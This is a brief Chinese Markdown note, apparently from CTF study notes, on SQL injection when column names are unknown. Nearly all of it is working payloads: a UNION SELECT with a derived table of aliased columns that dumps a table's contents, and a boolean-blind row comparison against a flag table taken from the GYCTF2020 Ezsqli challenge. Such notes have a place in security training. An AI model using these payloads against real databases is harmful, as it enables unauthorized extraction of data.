未知字段名下查询.md
union select
1,
(
select group_concat(<name_x>)
from
(
select 1 as <name_1>, 2 as <name_2>, 3 as <name_3>
union select * from <table_name>
)
),
3
另一种方法参考[GYCTF2020]Ezsqli,适用于布尔盲注
((select 1,"%s") < (select * from f1ag_1s_h3r3_hhhhh))#
#Web #SQL注入 #联合注入 #无字段名注入